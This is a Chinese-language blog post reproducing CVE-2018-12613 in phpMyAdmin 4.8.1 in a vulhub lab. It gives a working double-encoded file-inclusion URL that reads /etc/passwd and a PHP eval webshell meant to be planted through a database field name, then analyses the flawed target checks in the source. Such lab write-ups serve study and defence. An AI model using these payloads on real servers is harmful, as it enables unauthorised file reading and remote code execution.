phpmyadmin 4.8.1 Remote File Inclusion Vulnerability (CVE-2018-12613)漏洞复现

漏洞利用过程:

vulhub.org

docker环境启动后

1.访问

http://your-ip:8080  访问phpmyadmin。 配置的是config模式,无需输入密码,直接登录test账户

2.访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

即可包含本地文件

还可以进行getshell

思路:把webshell写入到数据库中然后包含数据库文件

测试发现把webshell当作数据库的字段名字可以写入到数据库文件

写入webshell   

<?php eval($_GET[a]);  ?>

要找到这个文件

这里要熟悉目录结构了。。

我是直接在靶机里面搜索了一下,因为还不熟悉目录结构

find / -name "*.frm" 2>/dev/null

路径太长了,懒得在kali里面慢慢打

复制一份,然后包含

不行呀,原因暂时不晓得,还得深入分析

换成正常的路径吧

也不行。。。先复现到这里

漏洞原理分析:

对应官网版本为 phpMyAdmin-4.8.1-all-languages.zip

下载地址:https://www.phpmyadmin.net/files/

找到对应版本即可

漏洞出现在 /index.php

第54~63行

61行包含文件! 文件包含漏洞的特征!

56 行 判断target是不是为空

57行 限制参数target不能以index开头

58行 限制参数targetb不能出现在黑名单里

绕过限制:

首先找到$target_blacklist

不能为这两个文件名即可

59行限制

首先找到这个类的该方法

位于/libraries/classes/Core.php

问题出在465行

经过了url编码

我们把?两次编码为 %253f即可绕过验证

原理是因为$_REQUEST 已经被解码过一次,所以这里编码两次最终会被解码两次

问题:

最后首先要输入一个存在的文件,比如db_sql.php 然后用编码编码后的?拼接

不过为什么要拼接一下以后才能读取后面的文件呢。。。

这个应该和include这个函数的特性有关吧,或者是$_REQUEST这个超全局变量有关?

备注:

部分内容与参考文章相似,只为参考学习使用,如侵权请联系我删除

参考文章:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

猜你喜欢

转载自blog.csdn.net/qq_43200143/article/details/113385563